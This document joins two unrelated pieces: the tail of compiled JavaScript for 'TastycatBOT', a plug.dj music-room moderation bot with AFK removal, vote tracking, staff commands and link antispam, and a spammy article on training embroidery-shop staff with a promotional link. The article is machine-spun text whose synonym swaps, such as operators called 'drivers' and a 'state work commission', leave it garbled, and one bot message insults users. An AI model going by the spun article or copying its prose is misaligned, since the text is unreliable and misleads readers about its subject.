this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.1.0"; log("TastycatBOT version " + currentversion + " started"); return API.sendChat("Have no fear, " + myname + " is here!"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", I haven't seen you chat in 1 hour. Are you AFK? If you don't show activity in 4 minutes I will remove you from the booth.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", you had 1 warning. Please stay active by chatting."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '/news'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; newsCommand.prototype.functionality = function() { var msg; msg = "No news at this moment in time. "; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '/newsongs'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Everyone's heard that " + selections['artist'] + " track! Get new music from http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " or http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '/theme'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Any type of Bass Music is allowed here. Including Dubstep, Complextro, Drum and Bass, Glitch-Hop, Trap, "; msg += "Garage, Breakbeat, Hardstyle, Moombahton, HEAVY EDM, House, Electro, and Trance!!"; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '/rules'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "1) Don't complain! we are all here to have fun!. "; msg1 += "2) Tastycat DJ's have priority!. "; msg1 += "3) The bot will remove you from the booth if you are AFK for 1 hour. "; msg1 += "4) skips will be decided by staff. "; msg1 += "5) Do not play mixes. "; msg2 = "6) Do not use the /em or /me commands( yellow text ) ...using this twice will get you kicked from the room. "; msg2 += "7) Do not ask for fans. "; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '/roomhelp'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Welcome to #TASTYCAT! Create a playlist and populate it with songs from either YouTube or Soundcloud. "; msg1 += "Click the 'Join Waitlist' button and wait your turn to play music. All forms of EDM are allowed."; msg2 = "Play good quality music. "; msg2 += "Ask staff if you're unsure about your song choice"; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '/afks'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("No one is AFK"); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = '/allafks'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("No one is AFK"); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '/status'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Initiated ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' songs have been played, accumulating ' + t.woots + ' woots, ' + t.mehs + ' mehs, and ' + t.curates + ' queues.'; msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '/die'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Noooo, don't kill me!"); undoHooks(); API.sendChat("Arrggh"); data.implode(); return API.sendChat("I'm dead"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '/reload'; this.parseType = 'exact'; return this.rankPrivelege = 'manager'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('brb'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '/lock'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '/unlock'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '/remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '/add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '/skip'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '/dclookup'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' has disconnected ' + disconnectInstances.length.toString() + ' time'; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'Their most recent disconnect was at ' + dcTimeStr + ' (' + dcSongsAgo + ' songs ago). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'They were ' + recentDisconnect.waitlistPosition + ' song'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' away from the DJ booth.'; } else { resp += 'They were not on the waitlist.'; } API.sendChat(resp); return; } else { API.sendChat("I haven't seen " + u.getUser().username + " disconnect."); return; } } } return API.sendChat("I don't see a user in the room named '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '/voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " has wooted " + votes['woot'].toString() + " time"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 's, '; } msg += "and meh'd " + votes['meh'].toString() + " time"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 's. '; } msg += "Their woot:vote ratio is " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("I don't recognize a user named '" + name + "'"); } } else { return API.sendChat("I'm not sure what you want from me..."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '/avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '/staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 2) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (20 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "There are currently no staff members active :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '/lockskip'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); promoCommand = (function(_super) { __extends(promoCommand, _super); function promoCommand() { _ref20 = promoCommand.__super__.constructor.apply(this, arguments); return _ref20; } promoCommand.prototype.init = function() { this.command = '/tastycat'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; promoCommand.prototype.functionality = function() { return API.sendChat("/em: " + "Promo code = tastycat " + "http://community.edmspotlight.com/forum.php "); }; return promoCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '/version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me is running TastycatBot version " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, promoCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " loves this song!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " by " + data.currentsong.author + ". Stats: Woots: " + data.currentwoots + ", Mehs: " + data.currentmehs + ", Loves: " + data.currentcurates + "."); data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Don't spam room links you ass clown"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("I'm supposed to kick you, but you're just too darn pretty."); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('fan me') !== -1 || msg.indexOf('fan for fan') !== -1 || msg.indexOf('fan pls') !== -1 || msg.indexOf('fan4fan') !== -1 || msg.indexOf('add me to fan') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this);
houstoncuj / Educating For The Large Shop To Make Custom Name PatchesIn a needlework shop made for quantity result, an established curriculum should comply with certain principles and a timetable. The larger your embroidery procedure, the much more you need a defined training program. https://houstonembroideryservice.com/custom-patches/ Having your new-hires discover by "on-the-job osmosis" generally leads to irregular task abilities, an unforeseeable timespan to establish trainees and no chance to determine development and also retention. Extra notably, it does not offer your new employees their finest opportunities to stand out. I have handled big, multiple-shift embroidery stores and also found that having a well-known training educational program allowed me to determine where employees needed added direction. A great training program has actually a specified curriculum connected to a timetable. I such as to customize the program to fit my trial-period time frame, which normally is 90 days. At the end of this period, a competent candidate should have successfully finished the program and also have the ability to execute the custom name patches making skills recognized later in this article. EXPERIENCE LEVELS It may be alluring to hire a knowledgeable operator, and also lots of state work commissions currently include a group for embroidery equipment operators. Make sure to completely examine operators that have worked in various other huge shops. Why? Since some huge stores train operators in very details tasks and their general understanding may be limited. For instance, I when hired a seasoned operator from a shop that stitched for Ocean Pacific (OP) Apparel Corp. Nonetheless, when performing sewouts, I learned that she was uninformed that you might move the starting position of the hoop. At her previous shop, jobs were repeated and there was no demand to train particular skills. Still, you can find some excellent skill that might have just recently moved right into your location or a person returning to the workforce. For these reasons, consult your state work compensation. SELECTING A CANDIDATE While many managers look for candidates with sewing experience, remember that industrial stitching equipment drivers are made use of to sitting while working. Embroidery operators need to depend on their feet all the time, proactively moving the workplace. The candidate also must have good eyesight, be able to recognize shade and also be reasonably in shape. I've located a variety of good driver students by seeing their work habits in one more job setup. For instance, when I go to a lunch counter or coffee shop, I notice employees that rush, as well as have knowledge as well as a great perspective. They make fantastic prospects for learning brand-new skills that could result in possibly greater earnings. TRAINING PRINCIPLES When you construct your training program around the complying with ideas, your students will certainly proceed quicker and consistently. 1. The needlework equipment doesn't have a mind of its very own. Makers might occasionally malfunction as a result of an electric or electronic trouble, but such incidents are unusual. When a new trainee states, "I do not recognize why the machine did that," the instructor must respond in a mild way that the device probably did what the trainee advised it to do. This creates responsibility as opposed to advertising the idea that the equipment does strange and also unpredictable points by itself. 2. The needlework machine can harm you. Students, in addition to skilled drivers, need to have a healthy respect for the machine as well as recognize they could be harmed if safety treatments are not complied with. It's an ideal practice to train all drivers to loudly state "Ready" or "Clear" prior to the maker is engaged. This helps guarantee that no fingers are near the needles or in a location where they could be pinched when the pantograph relocations. 3. Mistakes will certainly take place. Stand up to the temptation to jump ahead of your planned training schedule. Doing so can bring about errors-- potentially pricey ones-- and even damage to the tools. When an error does inevitably occur, stay favorable. This is a fine line to stroll due to the fact that you do not want to cultivate the idea that errors are constantly OKAY, however it's also essential to not damage the trainee's morale. Rather, try to make the negative experience a mentor minute. Assist the student comprehend and verbalize what was learned from the experience. 4. Have students say it in their very own words. Lots of people say they comprehend a principle also when they don't. Have the student repeat your instructions for treatments in their very own words. This is a great means to reveal misunderstandings and also miscommunication. Even if you have actually created treatments, allow students to make their very own notes to help them bear in mind the necessary steps to fill a style, designate needles and also other unknown jobs. 5. Most of us do it the same way. Some huge stores have "set-up drivers" and "job operators." In such setups, even more skilled or extra very trained operators set up new tasks, while less-skilled drivers keep the equipment packed as well as threaded. No matter each worker's training, all operators have to comply with the exact same treatments. Even though every person is asked to comply with store standards, no person knows better than drivers where improvements can be made. If a staff member-- also a trainee-- believes a better means exists to do a job, that person ought to feel comfortable sharing it. If it actually is much better, the new approach should come to be basic shop treatment for all workers. APPLICATION It's vital that trainees have the ability to distinguish great as well as inadequate needlework. During the normal course of organization, collect needlework examples that have describes that are off-register, rugged column stitches as well as various other symptoms of inferior needlework. Ask trainees to evaluate these samples to develop their recognition of high-grade stitching. Begin trainees with easy jobs, like altering string for a brand-new task. Next off, progress to mentor tension essentials and also recognizing good needlework from bad embroidery. Make some brief videos of operations in your store and also publish them for either 